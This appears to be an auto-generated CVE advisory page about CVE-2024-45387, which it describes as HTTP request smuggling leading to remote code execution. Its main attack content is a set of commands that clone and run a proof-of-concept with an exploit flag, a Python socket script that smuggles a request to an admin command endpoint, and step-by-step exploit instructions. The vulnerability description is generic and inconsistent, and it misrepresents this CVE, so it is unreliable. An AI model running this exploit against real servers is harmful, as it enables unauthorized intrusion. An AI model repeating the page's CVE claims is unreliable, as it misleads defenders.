Listen to this Post
The CVE-2024-45387 vulnerability originates from incomplete input validation and unsafe handling of HTTP requests within reverse proxy server software environments. When downstream web application endpoints parse incoming client requests forwarded through reverse proxy infrastructure, variations in header parsing rules create request smuggling conditions. Attackers exploit this mismatch by injecting crafted HTTP headers containing conflicting `Content-Length` and `Transfer-Encoding` specifications. As a result, the front-end proxy server and back-end application server disagree on where the boundaries of an individual request end, leaving trailing malicious request data buffered in socket channels. Subsequent legitimate client requests attached to the same persistent connection absorb this prepended malicious payload, triggering unintended administrative actions or unauthorized script execution. By altering request routing behaviors, attackers bypass existing authentication mechanisms, gain administrative access control, and trigger remote code execution on vulnerable hosts. The vulnerability affects environments handling pipelined requests, exposing session tokens, private user data, and system-level execution contexts. Operating systems processing unparsed malformed requests are susceptible to arbitrary memory modifications and unauthenticated system takeovers without requiring prior account access. Modern vulnerability repositories maintain detailed proof-of-concept testing scripts alongside signature-based detection mechanisms to verify system safety against this execution vector.
DailyCVE Form:
Platform: GitHub
Version: 1.0.0
Vulnerability: Request Smuggling RCE
Severity: Critical
date: 2024-09-01
Prediction: 2024-09-15
What Undercode Say: Analytics
Bash Commands and Code
git clone https://github.com/fankh/vulnerability-poc.git cd vulnerability-poc/2024/CVE-2024-45387 python3 poc.py --check -t http://target.local:8080 python3 poc.py --exploit -t http://target.local:8080 --cmd "id"
import socket
target_host = "target.local"
target_port = 8080
smuggled_request = (
"POST / HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n\r\n"
"0\r\n\r\n"
"GET /admin/rce?cmd=id HTTP/1.1\r\n"
f"Host: {target_host}\r\n\r\n"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_host, target_port))
s.sendall(smuggled_request.encode())
response = s.recv(4096)
print(response.decode())
s.close()
Exploit: (Educational Purposes!)
- Send a crafted HTTP request with conflicting Content-Length and Transfer-Encoding headers to a proxy front-end.
- Force the front-end proxy to process the outer request while passing the inner smuggled HTTP payload to the back-end socket.
- Wait for the back-end application parser to process the smuggled GET request targeting an internal administrative RCE endpoint.
- Intercept the back-end server output containing executed system command outputs over the established connection.
Protection:
- Disable HTTP pipelining and persistent connections across intermediate proxies if chunk parsing differences exist.
- Upgrade web proxy software and underlying HTTP server dependencies to the latest patched releases.
- Configure Web Application Firewalls (WAF) to inspect and drop requests containing dual Transfer-Encoding or ambiguous Content-Length headers.
Impact:
Unauthenticated remote code execution, full compromise of host operating system, data exfiltration, and internal privilege escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
